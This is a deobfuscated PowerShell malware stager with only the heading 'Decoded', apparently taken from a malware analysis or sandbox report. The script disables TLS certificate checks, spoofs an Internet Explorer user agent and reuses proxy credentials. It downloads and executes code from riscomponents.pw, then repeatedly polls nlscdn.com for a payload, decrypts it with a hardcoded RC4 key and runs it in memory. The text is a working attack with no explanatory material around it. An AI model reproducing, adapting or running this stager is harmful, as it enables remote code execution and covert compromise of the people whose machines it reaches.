Decoded

start-sleep 500;${ERRo`RActIO`NpR`eFeRE`N`cE} = ('Silentl'+'yCo'+'n'+'ti'+'nue');${w`c}=NeW-Object SYstEm.NET.WeBClIENt;${U}=('M'+'oz'+'illa'+'/'+'5.0 (c'+'ompat'+'ib'+'l'+'e, MSI'+'E 1'+'1, Wi'+'ndo'+'w'+'s N'+'T 6.3; '+'Trid'+'ent/7.0;'+' rv:11'+'.'+'0'+')'+' l'+'ike G'+'eck'+'o');[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {${tr`Ue}};${w`c}.HEAdErS.Add(('User-'+'Ag'+'en'+'t'),${u});${wC}.ProXY=[SySTeM.NET.WebREQUesT]::DEFaULtWeBPROxY;${W`C}.ProXY.CrEDentials = [SYSTEM.Net.CReDeNTIALCACHe]::DEfauLtNEtwOrkCreDEntiaLS;${sCriP`T:`p`ROxY} = ${w`C}.Proxy;if ([Environment]::OSVersion.Version -ge (new-object ('Ver'+'sio'+'n') 10,0)) { if ((get-process -id ${p`id} | select -ExpandProperty Name) -eq ('powe'+'rs'+'hell')){ try { IEX ${Wc}.downloadstring(('ht'+'tp:/'+'/riscomp'+'onents.pw/test.'+'tx'+'t')) } catch { exit } } }${k}=[SYStEm.TExt.ENCoDiNg]::ASCII.GeTBYtes(('5004c068'+'bbedd'+'ba'+'e96e30'+'213757e'+'93cd'));${R}={${D},${K}=${aR`gs};${s}=0..255;0..255|%{${J}=(${J}+${s}[${_}]+${K}[${_}%${k}.CoUNt])%256;${s}[${_}],${s}[${j}]=${S}[${j}],${s}[${_}]};${D}|%{${I}=(${i}+1)%256;${H}=(${H}+${S}[${i}])%256;${s}[${i}],${S}[${h}]=${S}[${H}],${s}[${i}];${_}-BXOR${S}[(${s}[${I}]+${S}[${h}])%256]}};${S`Er}=('h'+'t'+'t'+'ps://'+'nl'+'scdn.'+'com:443');${t}=('/'+'a'+'d'+'min/lo'+'g'+'in.php');${Wc}.HEaDerS.ADD(('Coo'+'kie'),('s'+'es'+'sion'+'=2/Zbz8'+'HcojL'+'z'+'3FnD8'+'l'+'8xeE8E'+'+HA='));while(-not ${Da`TA}){ ${Da`TA}=${w`C}.DOWnlOAdData(${s`Er}+${T}); start-sleep 60};${i`V}=${DA`Ta}[0..3];${d`AtA}=${DA`TA}[4..${D`ATa}.lenGTH];-joIn[ChAR[]](& ${r} ${d`Ata} (${I`V}+${k}))|IEX